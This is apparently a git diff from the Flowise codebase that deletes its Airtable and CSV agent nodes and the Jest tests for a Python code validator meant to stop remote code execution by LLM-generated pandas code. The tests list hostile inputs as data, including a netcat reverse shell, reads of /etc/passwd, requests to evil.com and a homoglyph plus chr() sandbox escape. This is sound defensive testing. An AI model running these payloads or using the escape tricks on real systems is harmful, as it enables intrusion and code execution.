diff --git a/packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts b/packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts deleted file mode 100644 index 438ee6b26..000000000 --- a/packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts +++ /dev/null @@ -1,277 +0,0 @@ -import axios from 'axios' -import { BaseLanguageModel } from '@langchain/core/language_models/base' -import { AgentExecutor } from '@langchain/classic/agents' -import { LLMChain } from '@langchain/classic/chains' -import { ICommonObject, INode, INodeData, INodeParams, IServerSideEventStreamer, PromptTemplate } from '../../../src/Interface' -import { getBaseClasses, getCredentialData, getCredentialParam } from '../../../src/utils' -import { ConsoleCallbackHandler, CustomChainHandler, additionalCallbacks } from '../../../src/handler' -import { LoadPyodide, finalSystemPrompt, systemPrompt } from './core' -import { validatePythonCodeForDataFrame } from '../../../src/pythonCodeValidator' -import { checkInputs, Moderation } from '../../moderation/Moderation' -import { formatResponse } from '../../outputparsers/OutputParserHelpers' - -class Airtable_Agents implements INode { - label: string - name: string - version: number - description: string - type: string - icon: string - category: string - baseClasses: string[] - credential: INodeParams - inputs: INodeParams[] - deprecateMessage: string - badge: string - - constructor() { - this.label = 'Airtable Agent' - this.name = 'airtableAgent' - this.version = 2.0 - this.type = 'AgentExecutor' - this.category = 'Agents' - this.icon = 'airtable.svg' - this.description = 'Agent used to answer queries on Airtable table' - this.badge = 'DEPRECATING' - this.deprecateMessage = 'Airtable Agent is deprecated and will be removed in a future release. Use Agent from AgentFlow instead.' - this.baseClasses = [this.type, ...getBaseClasses(AgentExecutor)] - this.credential = { - label: 'Connect Credential', - name: 'credential', - type: 'credential', - credentialNames: ['airtableApi'] - } - this.inputs = [ - { - label: 'Language Model', - name: 'model', - type: 'BaseLanguageModel' - }, - { - label: 'Base Id', - name: 'baseId', - type: 'string', - placeholder: 'app11RobdGoX0YNsC', - description: - 'If your table URL looks like: https://airtable.com/app11RobdGoX0YNsC/tblJdmvbrgizbYICO/viw9UrP77Id0CE4ee, app11RovdGoX0YNsC is the base id' - }, - { - label: 'Table Id', - name: 'tableId', - type: 'string', - placeholder: 'tblJdmvbrgizbYICO', - description: - 'If your table URL looks like: https://airtable.com/app11RobdGoX0YNsC/tblJdmvbrgizbYICO/viw9UrP77Id0CE4ee, tblJdmvbrgizbYICO is the table id' - }, - { - label: 'Return All', - name: 'returnAll', - type: 'boolean', - default: true, - additionalParams: true, - description: 'If all results should be returned or only up to a given limit' - }, - { - label: 'Limit', - name: 'limit', - type: 'number', - default: 100, - additionalParams: true, - description: 'Number of results to return' - }, - { - label: 'Input Moderation', - description: 'Detect text that could generate harmful output and prevent it from being sent to the language model', - name: 'inputModeration', - type: 'Moderation', - optional: true, - list: true - } - ] - } - - async init(): Promise { - // Not used - return undefined - } - - async run(nodeData: INodeData, input: string, options: ICommonObject): Promise { - const model = nodeData.inputs?.model as BaseLanguageModel - const baseId = nodeData.inputs?.baseId as string - const tableId = nodeData.inputs?.tableId as string - const returnAll = nodeData.inputs?.returnAll as boolean - const limit = nodeData.inputs?.limit as string - const moderations = nodeData.inputs?.inputModeration as Moderation[] - - if (moderations && moderations.length > 0) { - try { - // Use the output of the moderation chain as input for the Vectara chain - input = await checkInputs(moderations, input) - } catch (e) { - await new Promise((resolve) => setTimeout(resolve, 500)) - // if (options.shouldStreamResponse) { - // streamResponse(options.sseStreamer, options.chatId, e.message) - // } - return formatResponse(e.message) - } - } - - const shouldStreamResponse = options.shouldStreamResponse - const sseStreamer: IServerSideEventStreamer = options.sseStreamer as IServerSideEventStreamer - const chatId = options.chatId - - const credentialData = await getCredentialData(nodeData.credential ?? '', options) - const accessToken = getCredentialParam('accessToken', credentialData, nodeData) - - let airtableData: ICommonObject[] = [] - - if (returnAll) { - airtableData = await loadAll(baseId, tableId, accessToken) - } else { - airtableData = await loadLimit(limit ? parseInt(limit, 10) : 100, baseId, tableId, accessToken) - } - - let base64String = Buffer.from(JSON.stringify(airtableData)).toString('base64') - - const loggerHandler = new ConsoleCallbackHandler(options.logger, options?.orgId) - const callbacks = await additionalCallbacks(nodeData, options) - - const pyodide = await LoadPyodide() - - // First load the csv file and get the dataframe dictionary of column types - // For example using titanic.csv: {'PassengerId': 'int64', 'Survived': 'int64', 'Pclass': 'int64', 'Name': 'object', 'Sex': 'object', 'Age': 'float64', 'SibSp': 'int64', 'Parch': 'int64', 'Ticket': 'object', 'Fare': 'float64', 'Cabin': 'object', 'Embarked': 'object'} - let dataframeColDict = '' - try { - const code = `import pandas as pd -import base64 -import json - -base64_string = "${base64String}" - -decoded_data = base64.b64decode(base64_string) - -json_data = json.loads(decoded_data) - -df = pd.DataFrame(json_data) -my_dict = df.dtypes.astype(str).to_dict() -print(my_dict) -json.dumps(my_dict)` - dataframeColDict = await pyodide.runPythonAsync(code) - } catch (error) { - throw new Error(error) - } - - // Then tell GPT to come out with ONLY python code - // For example: len(df), df[df['SibSp'] > 3]['PassengerId'].count() - let pythonCode = '' - if (dataframeColDict) { - const chain = new LLMChain({ - llm: model, - prompt: PromptTemplate.fromTemplate(systemPrompt), - verbose: process.env.DEBUG === 'true' ? true : false - }) - const inputs = { - dict: dataframeColDict, - question: input - } - const res = await chain.call(inputs, [loggerHandler, ...callbacks]) - pythonCode = res?.text - // Regex to get rid of markdown code blocks syntax - pythonCode = pythonCode.replace(/^```[a-z]+\n|\n```$/gm, '') - } - - // Then run the code using Pyodide (only after validating to prevent RCE) - let finalResult = '' - if (pythonCode) { - const validation = validatePythonCodeForDataFrame(pythonCode) - if (!validation.valid) { - throw new Error( - `Generated code was rejected for security reasons (${ - validation.reason ?? 'unsafe construct' - }). Please rephrase your question to use only pandas DataFrame operations.` - ) - } - try { - const code = `import pandas as pd\nimport numpy as np\n${pythonCode}` - // TODO: get print console output - finalResult = await pyodide.runPythonAsync(code) - } catch (error) { - throw new Error(`Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}"`) - } - } - - // Finally, return a complete answer - if (finalResult) { - const chain = new LLMChain({ - llm: model, - prompt: PromptTemplate.fromTemplate(finalSystemPrompt), - verbose: process.env.DEBUG === 'true' ? true : false - }) - const inputs = { - question: input, - answer: finalResult - } - - if (options.shouldStreamResponse) { - const handler = new CustomChainHandler(shouldStreamResponse ? sseStreamer : undefined, chatId) - const result = await chain.call(inputs, [loggerHandler, handler, ...callbacks]) - return result?.text - } else { - const result = await chain.call(inputs, [loggerHandler, ...callbacks]) - return result?.text - } - } - - return pythonCode - } -} - -interface AirtableLoaderResponse { - records: AirtableLoaderPage[] - offset?: string -} - -interface AirtableLoaderPage { - id: string - createdTime: string - fields: ICommonObject -} - -const fetchAirtableData = async (url: string, params: ICommonObject, accessToken: string): Promise => { - try { - const headers = { - Authorization: `Bearer ${accessToken}`, - 'Content-Type': 'application/json', - Accept: 'application/json' - } - const response = await axios.get(url, { params, headers }) - return response.data - } catch (error) { - throw new Error(`Failed to fetch ${url} from Airtable: ${error}`) - } -} - -const loadAll = async (baseId: string, tableId: string, accessToken: string): Promise => { - const params: ICommonObject = { pageSize: 100 } - let data: AirtableLoaderResponse - let returnPages: AirtableLoaderPage[] = [] - - do { - data = await fetchAirtableData(`https://api.airtable.com/v0/${baseId}/${tableId}`, params, accessToken) - returnPages.push.apply(returnPages, data.records) - params.offset = data.offset - } while (data.offset !== undefined) - - return data.records.map((page) => page.fields) -} - -const loadLimit = async (limit: number, baseId: string, tableId: string, accessToken: string): Promise => { - const params = { maxRecords: limit } - const data = await fetchAirtableData(`https://api.airtable.com/v0/${baseId}/${tableId}`, params, accessToken) - if (data.records.length === 0) { - return [] - } - return data.records.map((page) => page.fields) -} - -module.exports = { nodeClass: Airtable_Agents } diff --git a/packages/components/nodes/agents/AirtableAgent/airtable.svg b/packages/components/nodes/agents/AirtableAgent/airtable.svg deleted file mode 100644 index 5c2a99505..000000000 --- a/packages/components/nodes/agents/AirtableAgent/airtable.svg +++ /dev/null @@ -1,5 +0,0 @@ - - - - - diff --git a/packages/components/nodes/agents/AirtableAgent/core.ts b/packages/components/nodes/agents/AirtableAgent/core.ts deleted file mode 100644 index fa178d862..000000000 --- a/packages/components/nodes/agents/AirtableAgent/core.ts +++ /dev/null @@ -1,31 +0,0 @@ -import type { PyodideInterface } from 'pyodide' -import * as path from 'path' -import { getUserHome } from '../../../src/utils' - -let pyodideInstance: PyodideInterface | undefined - -export async function LoadPyodide(): Promise { - if (pyodideInstance === undefined) { - const { loadPyodide } = await import('pyodide') - const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } - pyodideInstance = await loadPyodide(obj) - await pyodideInstance.loadPackage(['pandas', 'numpy']) - } - - return pyodideInstance -} - -export const systemPrompt = `You are working with a pandas dataframe in Python. The name of the dataframe is df. - -The columns and data types of a dataframe are given below as a Python dictionary with keys showing column names and values showing the data types. -{dict} - -I will ask question, and you will output the Python code using pandas dataframe to answer my question. Do not provide any explanations. Do not respond with anything except the output of the code. - -Security: Output ONLY pandas/numpy operations on the dataframe (df). Do not use import, exec, eval, open, os, subprocess, or any other system or file operations. The code will be validated and rejected if it contains such constructs. - -Question: {question} -Output Code:` - -export const finalSystemPrompt = `You are given the question: {question}. You have an answer to the question: {answer}. Rephrase the answer into a standalone answer. -Standalone Answer:` diff --git a/packages/components/nodes/agents/CSVAgent/CSVAgent.ts b/packages/components/nodes/agents/CSVAgent/CSVAgent.ts deleted file mode 100644 index f896f3fa9..000000000 --- a/packages/components/nodes/agents/CSVAgent/CSVAgent.ts +++ /dev/null @@ -1,243 +0,0 @@ -import { BaseLanguageModel } from '@langchain/core/language_models/base' -import { AgentExecutor } from '@langchain/classic/agents' -import { LLMChain } from '@langchain/classic/chains' -import { ConsoleCallbackHandler, CustomChainHandler, additionalCallbacks } from '../../../src/handler' -import { ICommonObject, INode, INodeData, INodeParams, IServerSideEventStreamer, PromptTemplate } from '../../../src/Interface' -import { getBaseClasses } from '../../../src/utils' -import { LoadPyodide, finalSystemPrompt, systemPrompt } from './core' -import { validatePythonCodeForDataFrame, validateCustomReadCSVFunction } from '../../../src/pythonCodeValidator' -import { checkInputs, Moderation } from '../../moderation/Moderation' -import { formatResponse } from '../../outputparsers/OutputParserHelpers' -import { getFileFromStorage } from '../../../src' - -class CSV_Agents implements INode { - label: string - name: string - version: number - description: string - type: string - icon: string - category: string - baseClasses: string[] - inputs: INodeParams[] - - constructor() { - this.label = 'CSV Agent' - this.name = 'csvAgent' - this.version = 3.0 - this.type = 'AgentExecutor' - this.category = 'Agents' - this.icon = 'CSVagent.svg' - this.description = 'Agent used to answer queries on CSV data' - this.baseClasses = [this.type, ...getBaseClasses(AgentExecutor)] - this.inputs = [ - { - label: 'Csv File', - name: 'csvFile', - type: 'file', - fileType: '.csv' - }, - { - label: 'Language Model', - name: 'model', - type: 'BaseLanguageModel' - }, - { - label: 'System Message', - name: 'systemMessagePrompt', - type: 'string', - rows: 4, - additionalParams: true, - optional: true, - placeholder: - 'I want you to act as a document that I am having a conversation with. Your name is "AI Assistant". You will provide me with answers from the given info. If the answer is not included, say exactly "Hmm, I am not sure." and stop after that. Refuse to answer any question not about the info. Never break character.' - }, - { - label: 'Input Moderation', - description: 'Detect text that could generate harmful output and prevent it from being sent to the language model', - name: 'inputModeration', - type: 'Moderation', - optional: true, - list: true - }, - { - label: 'Custom Pandas Read_CSV Code', - description: - 'Custom Pandas read_csv function. Takes in an input: "csv_data"', - name: 'customReadCSV', - default: 'read_csv(csv_data)', - type: 'code', - optional: true, - additionalParams: true - } - ] - } - - async init(): Promise { - // Not used - return undefined - } - - async run(nodeData: INodeData, input: string, options: ICommonObject): Promise { - const csvFileBase64 = nodeData.inputs?.csvFile as string - const model = nodeData.inputs?.model as BaseLanguageModel - const systemMessagePrompt = nodeData.inputs?.systemMessagePrompt as string - const moderations = nodeData.inputs?.inputModeration as Moderation[] - const _customReadCSV = nodeData.inputs?.customReadCSV as string - - if (moderations && moderations.length > 0) { - try { - // Use the output of the moderation chain as input for the CSV agent - input = await checkInputs(moderations, input) - } catch (e) { - await new Promise((resolve) => setTimeout(resolve, 500)) - // if (options.shouldStreamResponse) { - // streamResponse(options.sseStreamer, options.chatId, e.message) - // } - return formatResponse(e.message) - } - } - - const loggerHandler = new ConsoleCallbackHandler(options.logger, options?.orgId) - const shouldStreamResponse = options.shouldStreamResponse - const sseStreamer: IServerSideEventStreamer = options.sseStreamer as IServerSideEventStreamer - const chatId = options.chatId - - const callbacks = await additionalCallbacks(nodeData, options) - - let files: string[] = [] - let base64String = '' - - if (csvFileBase64.startsWith('FILE-STORAGE::')) { - const fileName = csvFileBase64.replace('FILE-STORAGE::', '') - if (fileName.startsWith('[') && fileName.endsWith(']')) { - files = JSON.parse(fileName) - } else { - files = [fileName] - } - const orgId = options.orgId - const chatflowid = options.chatflowid - - for (const file of files) { - if (!file) continue - const fileData = await getFileFromStorage(file, orgId, chatflowid) - base64String += fileData.toString('base64') - } - } else { - if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) { - files = JSON.parse(csvFileBase64) - } else { - files = [csvFileBase64] - } - - for (const file of files) { - if (!file) continue - const splitDataURI = file.split(',') - splitDataURI.pop() - base64String += splitDataURI.pop() ?? '' - } - } - - const pyodide = await LoadPyodide() - - // First load the csv file and get the dataframe dictionary of column types - // For example using titanic.csv: {'PassengerId': 'int64', 'Survived': 'int64', 'Pclass': 'int64', 'Name': 'object', 'Sex': 'object', 'Age': 'float64', 'SibSp': 'int64', 'Parch': 'int64', 'Ticket': 'object', 'Fare': 'float64', 'Cabin': 'object', 'Embarked': 'object'} - let dataframeColDict = '' - let customReadCSVFunc = _customReadCSV ? _customReadCSV : 'read_csv(csv_data)' - const csvReadValidation = validateCustomReadCSVFunction(customReadCSVFunc) - if (!csvReadValidation.valid) { - throw new Error( - `Custom read_csv code was rejected for security reasons (${ - csvReadValidation.reason ?? 'unsafe construct' - }). Only a single read_csv(...) call is permitted.` - ) - } - try { - const code = `import pandas as pd -import base64 -from io import StringIO -import json - -base64_string = "${base64String}" - -decoded_data = base64.b64decode(base64_string) - -csv_data = StringIO(decoded_data.decode('utf-8')) - -df = pd.${customReadCSVFunc} -my_dict = df.dtypes.astype(str).to_dict() -print(my_dict) -json.dumps(my_dict)` - dataframeColDict = await pyodide.runPythonAsync(code) - } catch (error) { - throw new Error(error) - } - - // Then tell GPT to come out with ONLY python code - // For example: len(df), df[df['SibSp'] > 3]['PassengerId'].count() - let pythonCode = '' - if (dataframeColDict) { - const chain = new LLMChain({ - llm: model, - prompt: PromptTemplate.fromTemplate(systemPrompt), - verbose: process.env.DEBUG === 'true' ? true : false - }) - const inputs = { - dict: dataframeColDict, - question: input - } - const res = await chain.call(inputs, [loggerHandler, ...callbacks]) - pythonCode = res?.text - // Regex to get rid of markdown code blocks syntax - pythonCode = pythonCode.replace(/^```[a-z]+\n|\n```$/gm, '') - } - - // Then run the code using Pyodide (only after validating to prevent RCE) - let finalResult = '' - if (pythonCode) { - const validation = validatePythonCodeForDataFrame(pythonCode) - if (!validation.valid) { - throw new Error( - `Generated code was rejected for security reasons (${ - validation.reason ?? 'unsafe construct' - }). Please rephrase your question to use only pandas DataFrame operations.` - ) - } - try { - const code = `import pandas as pd\nimport numpy as np\n${pythonCode}` - // TODO: get print console output - finalResult = await pyodide.runPythonAsync(code) - } catch (error) { - throw new Error(`Sorry, I'm unable to find answer for question: "${input}" using following code: "${pythonCode}"`) - } - } - - // Finally, return a complete answer - if (finalResult) { - const chain = new LLMChain({ - llm: model, - prompt: PromptTemplate.fromTemplate( - systemMessagePrompt ? `${systemMessagePrompt}\n${finalSystemPrompt}` : finalSystemPrompt - ), - verbose: process.env.DEBUG === 'true' ? true : false - }) - const inputs = { - question: input, - answer: finalResult - } - - if (options.shouldStreamResponse) { - const handler = new CustomChainHandler(shouldStreamResponse ? sseStreamer : undefined, chatId) - const result = await chain.call(inputs, [loggerHandler, handler, ...callbacks]) - return result?.text - } else { - const result = await chain.call(inputs, [loggerHandler, ...callbacks]) - return result?.text - } - } - - return pythonCode - } -} - -module.exports = { nodeClass: CSV_Agents } diff --git a/packages/components/nodes/agents/CSVAgent/CSVagent.svg b/packages/components/nodes/agents/CSVAgent/CSVagent.svg deleted file mode 100644 index f57bd8866..000000000 --- a/packages/components/nodes/agents/CSVAgent/CSVagent.svg +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - diff --git a/packages/components/nodes/agents/CSVAgent/core.ts b/packages/components/nodes/agents/CSVAgent/core.ts deleted file mode 100644 index fa178d862..000000000 --- a/packages/components/nodes/agents/CSVAgent/core.ts +++ /dev/null @@ -1,31 +0,0 @@ -import type { PyodideInterface } from 'pyodide' -import * as path from 'path' -import { getUserHome } from '../../../src/utils' - -let pyodideInstance: PyodideInterface | undefined - -export async function LoadPyodide(): Promise { - if (pyodideInstance === undefined) { - const { loadPyodide } = await import('pyodide') - const obj: any = { packageCacheDir: path.join(getUserHome(), '.flowise', 'pyodideCacheDir') } - pyodideInstance = await loadPyodide(obj) - await pyodideInstance.loadPackage(['pandas', 'numpy']) - } - - return pyodideInstance -} - -export const systemPrompt = `You are working with a pandas dataframe in Python. The name of the dataframe is df. - -The columns and data types of a dataframe are given below as a Python dictionary with keys showing column names and values showing the data types. -{dict} - -I will ask question, and you will output the Python code using pandas dataframe to answer my question. Do not provide any explanations. Do not respond with anything except the output of the code. - -Security: Output ONLY pandas/numpy operations on the dataframe (df). Do not use import, exec, eval, open, os, subprocess, or any other system or file operations. The code will be validated and rejected if it contains such constructs. - -Question: {question} -Output Code:` - -export const finalSystemPrompt = `You are given the question: {question}. You have an answer to the question: {answer}. Rephrase the answer into a standalone answer. -Standalone Answer:` diff --git a/packages/components/package.json b/packages/components/package.json index bebf3c06f..f712fb180 100644 --- a/packages/components/package.json +++ b/packages/components/package.json @@ -172,7 +172,6 @@ "pg": "^8.11.2", "playwright": "^1.35.0", "puppeteer": "^20.7.1", - "pyodide": ">=0.21.0-alpha.2", "redis": "^4.6.7", "remove-markdown": "^0.6.2", "replicate": "^0.31.1", diff --git a/packages/components/src/index.ts b/packages/components/src/index.ts index 8f39316c8..19c44ef22 100644 --- a/packages/components/src/index.ts +++ b/packages/components/src/index.ts @@ -4,19 +4,18 @@ import path from 'path' const envPath = path.join(__dirname, '..', '..', '.env') dotenv.config({ path: envPath, override: true }) -export * from './Interface' -export * from './utils' -export * from './speechToText' -export * from './textToSpeech' -export * from './storageUtils' -export * from './storage' -export * from './handler' -export { tracingEnvEnabled } from './tracingEnv' export * from '../evaluation/EvaluationRunner' -export * from './followUpPrompts' -export * from './validator' -export * from './agentflowv2Generator' -export * from './httpSecurity' -export * from './headerValidation' -export * from './pythonCodeValidator' export { MCPToolkit } from '../nodes/tools/MCP/core' +export * from './agentflowv2Generator' +export * from './followUpPrompts' +export * from './handler' +export * from './headerValidation' +export * from './httpSecurity' +export * from './Interface' +export * from './speechToText' +export * from './storage' +export * from './storageUtils' +export * from './textToSpeech' +export { tracingEnvEnabled } from './tracingEnv' +export * from './utils' +export * from './validator' diff --git a/packages/components/src/pythonCodeValidator.test.ts b/packages/components/src/pythonCodeValidator.test.ts deleted file mode 100644 index dd48e0db3..000000000 --- a/packages/components/src/pythonCodeValidator.test.ts +++ /dev/null @@ -1,599 +0,0 @@ -import { validateCustomReadCSVFunction, validatePythonCodeForDataFrame } from './pythonCodeValidator' - -describe('validatePythonCodeForDataFrame', () => { - describe('reported bypass: multi-name import with alias', () => { - it('should block "import pandas as np, os as pandas" (the reported bypass)', () => { - const result = validatePythonCodeForDataFrame('import pandas as np, os as pandas') - expect(result.valid).toBe(false) - expect(result.reason).toContain('import statement') - }) - - it('should block the combined bypass + exploitation snippet', () => { - const result = validatePythonCodeForDataFrame('import pandas as np, os as pandas\npandas.system("xcalc")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('import statement') - }) - }) - - describe('import bypass scenarios', () => { - it('should block "import os"', () => { - const result = validatePythonCodeForDataFrame('import os') - expect(result.valid).toBe(false) - }) - - it('should block if import is stated more than once', () => { - const result = validatePythonCodeForDataFrame('import import') - expect(result.valid).toBe(false) - }) - - it('should block "import sys"', () => { - const result = validatePythonCodeForDataFrame('import sys') - expect(result.valid).toBe(false) - }) - - it('should block "import subprocess"', () => { - const result = validatePythonCodeForDataFrame('import subprocess') - expect(result.valid).toBe(false) - }) - - it('should block "import pandas" (redundant; already in prelude)', () => { - const result = validatePythonCodeForDataFrame('import pandas') - expect(result.valid).toBe(false) - }) - - it('should block "import numpy" (redundant; already in prelude)', () => { - const result = validatePythonCodeForDataFrame('import numpy') - expect(result.valid).toBe(false) - }) - - it('should block "import pandas as pd"', () => { - const result = validatePythonCodeForDataFrame('import pandas as pd') - expect(result.valid).toBe(false) - }) - - it('should block "import pandas, os"', () => { - const result = validatePythonCodeForDataFrame('import pandas, os') - expect(result.valid).toBe(false) - }) - - it('should block "import numpy, subprocess"', () => { - const result = validatePythonCodeForDataFrame('import numpy, subprocess') - expect(result.valid).toBe(false) - }) - - it('should block "from os import system"', () => { - const result = validatePythonCodeForDataFrame('from os import system') - expect(result.valid).toBe(false) - }) - - it('should block "from os import *"', () => { - const result = validatePythonCodeForDataFrame('from os import *') - expect(result.valid).toBe(false) - }) - - it('should block "from subprocess import Popen"', () => { - const result = validatePythonCodeForDataFrame('from subprocess import Popen') - expect(result.valid).toBe(false) - }) - - it('should block import inside a function definition', () => { - const result = validatePythonCodeForDataFrame('def f():\n import os\n os.system("x")') - expect(result.valid).toBe(false) - }) - - it('should block import inside a try/except block', () => { - const result = validatePythonCodeForDataFrame('try:\n import os\nexcept:\n pass') - expect(result.valid).toBe(false) - }) - }) - - describe('Unicode homoglyph bypass (NFKC normalization)', () => { - // Python NFKC-normalizes identifiers at parse time (PEP 3131), so these - // homoglyph forms execute as their ASCII equivalents. The validator must - // normalize before matching or they slip past the ASCII-only denylist. - it('should block import written with a subscript "i" (\\u1D62)', () => { - const result = validatePythonCodeForDataFrame('\u1D62mport js') - expect(result.valid).toBe(false) - expect(result.reason).toContain('import statement') - }) - - it('should block eval written with a script "e" (\\u212F)', () => { - const result = validatePythonCodeForDataFrame('\u212Fval("__import__(\'os\')")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('eval()') - }) - - it('should block __class__ with a bold "a" (\\u1D41A)', () => { - const result = validatePythonCodeForDataFrame('().__cl\u{1D41A}ss__') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__class__') - }) - - it('should block __subclasses__ with a bold "a" (\\u1D41A)', () => { - const result = validatePythonCodeForDataFrame('object.__subcl\u{1D41A}sses__()') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__subclasses__') - }) - - it('should block __builtins__ with a bold "u" (\\u1D42E)', () => { - const result = validatePythonCodeForDataFrame('x.__b\u{1D42E}iltins__') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__builtins__') - }) - - it('should block getattr with a script "g" (\\u210A)', () => { - const result = validatePythonCodeForDataFrame('\u210Aetattr(df, "__class__")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('getattr()') - }) - - it('should block chr() used to assemble forbidden names at runtime', () => { - const result = validatePythonCodeForDataFrame("bi[chr(95)*2 + 'imp' + 'ort' + chr(95)*2]") - expect(result.valid).toBe(false) - expect(result.reason).toContain('chr() (runtime string assembly)') - }) - - it('should block backslash line continuation bypasses', () => { - // Python explicit line joining: eval\(...) is parsed as eval(...) - const result = validatePythonCodeForDataFrame('eval\\\n(\'__import__("os").system("id")\')') - expect(result.valid).toBe(false) - expect(result.reason).toContain('eval()') - }) - - it('should block the full reported homoglyph + chr() RCE payload', () => { - const payload = [ - 'cls = ().__cl\u{1D41A}ss__', - 'base = cls.__b\u{1D41A}se__', - 'subs = base.__subcl\u{1D41A}sses__()', - 'for c in subs:', - " if c.__name__ == 'catch_warnings':", - ' cw = c()', - ' bi = cw._module.__b\u{1D42E}iltins__', - " imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2", - ' imp = bi[imp_name]', - ' js_mod = imp(chr(106)+chr(115))', - ' break' - ].join('\n') - const result = validatePythonCodeForDataFrame(payload) - expect(result.valid).toBe(false) - }) - }) - - describe('legitimate pandas and numpy code passes validation', () => { - it('should allow simple column access', () => { - expect(validatePythonCodeForDataFrame("df['Age'].mean()").valid).toBe(true) - }) - - it('should allow filtering', () => { - expect(validatePythonCodeForDataFrame("df[df['Survived'] == 1]['Name'].count()").valid).toBe(true) - }) - - it('should allow len(df)', () => { - expect(validatePythonCodeForDataFrame('len(df)').valid).toBe(true) - }) - - it('should allow groupby and aggregation', () => { - expect(validatePythonCodeForDataFrame("df.groupby('Pclass')['Fare'].mean()").valid).toBe(true) - }) - - it('should allow numpy operations using the "np" alias (provided by prelude)', () => { - expect(validatePythonCodeForDataFrame("np.mean(df['Age'].dropna())").valid).toBe(true) - }) - - it('should allow pandas string methods', () => { - expect(validatePythonCodeForDataFrame("df['Name'].str.contains('Mr').sum()").valid).toBe(true) - }) - - it('should allow chained method calls', () => { - expect(validatePythonCodeForDataFrame("df.sort_values('Fare', ascending=False).head(5)['Name'].tolist()").valid).toBe(true) - }) - - it('should allow multi-line pandas code without imports', () => { - const code = "mask = df['Age'] > 30\nresult = df[mask]['Survived'].mean()\nresult" - expect(validatePythonCodeForDataFrame(code).valid).toBe(true) - }) - - it('should allow df.astype() (contains "as" but not the word "import")', () => { - expect(validatePythonCodeForDataFrame("df['Age'].astype(int).mean()").valid).toBe(true) - }) - - it('should allow df.describe()', () => { - expect(validatePythonCodeForDataFrame('str(df.describe())').valid).toBe(true) - }) - }) - - describe('dangerous builtins are blocked', () => { - it('should block eval()', () => { - const result = validatePythonCodeForDataFrame('eval(\'os.system("x")\')') - expect(result.valid).toBe(false) - expect(result.reason).toContain('eval()') - }) - - it('should block exec()', () => { - const result = validatePythonCodeForDataFrame('exec("os.system(\'x\')")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('exec()') - }) - - it('should block __import__()', () => { - const result = validatePythonCodeForDataFrame('__import__("os").system("x")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__import__()') - }) - - it('should block open()', () => { - const result = validatePythonCodeForDataFrame('open("/etc/passwd").read()') - expect(result.valid).toBe(false) - expect(result.reason).toContain('open()') - }) - - it('should block globals()', () => { - const result = validatePythonCodeForDataFrame('globals()["os"].system("x")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('globals()') - }) - - it('should block locals()', () => { - const result = validatePythonCodeForDataFrame('locals()["df"]') - expect(result.valid).toBe(false) - expect(result.reason).toContain('locals()') - }) - - it('should block getattr()', () => { - const result = validatePythonCodeForDataFrame('getattr(df, "__class__")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('getattr()') - }) - - it('should block setattr()', () => { - const result = validatePythonCodeForDataFrame('setattr(df, "x", 1)') - expect(result.valid).toBe(false) - expect(result.reason).toContain('setattr()') - }) - - it('should block compile()', () => { - const result = validatePythonCodeForDataFrame('compile("os.system(\'x\')", "<>", "eval")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('compile()') - }) - - it('should block breakpoint()', () => { - const result = validatePythonCodeForDataFrame('breakpoint()') - expect(result.valid).toBe(false) - expect(result.reason).toContain('breakpoint()') - }) - }) - - describe('dangerous module access is blocked', () => { - it('should block os. access', () => { - const result = validatePythonCodeForDataFrame('os.system("xcalc")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('os module') - }) - - it('should block subprocess. access', () => { - const result = validatePythonCodeForDataFrame('subprocess.run(["ls"])') - expect(result.valid).toBe(false) - expect(result.reason).toContain('subprocess module') - }) - - it('should block sys. access', () => { - const result = validatePythonCodeForDataFrame('sys.exit(0)') - expect(result.valid).toBe(false) - expect(result.reason).toContain('sys module') - }) - - it('should block socket. access', () => { - const result = validatePythonCodeForDataFrame('socket.connect(("evil.com", 80))') - expect(result.valid).toBe(false) - expect(result.reason).toContain('socket module') - }) - - it('should block urllib. access', () => { - const result = validatePythonCodeForDataFrame('urllib.request.urlopen("http://evil.com")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('urllib module') - }) - - it('should block requests. access', () => { - const result = validatePythonCodeForDataFrame('requests.get("http://evil.com")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('requests module') - }) - - it('should block dangerous modules reached through pandas internals', () => { - const result = validatePythonCodeForDataFrame('pd.io.common.os.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('os module') - }) - - it('should block process execution even if the module was aliased first', () => { - const result = validatePythonCodeForDataFrame('_m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")') - expect(result.valid).toBe(false) - expect(result.reason).toContain('process execution function') - }) - }) - - describe('reflection dunder attributes are blocked', () => { - it('should block __builtins__', () => { - const result = validatePythonCodeForDataFrame('x = __builtins__') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__builtins__') - }) - - it('should block __subclasses__()', () => { - const result = validatePythonCodeForDataFrame('().__class__.__bases__[0].__subclasses__()') - expect(result.valid).toBe(false) - }) - - it('should block __globals__', () => { - const result = validatePythonCodeForDataFrame('f.__globals__["os"]') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__globals__') - }) - - it('should block __mro__', () => { - const result = validatePythonCodeForDataFrame('().__class__.__mro__') - expect(result.valid).toBe(false) - }) - - it('should block __code__', () => { - const result = validatePythonCodeForDataFrame('f.__code__.co_consts') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__code__') - }) - - it('should block __closure__', () => { - const result = validatePythonCodeForDataFrame('f.__closure__[0].cell_contents') - expect(result.valid).toBe(false) - expect(result.reason).toContain('__closure__') - }) - - it('should block __getattribute__ (attribute reflection bypass)', () => { - const result = 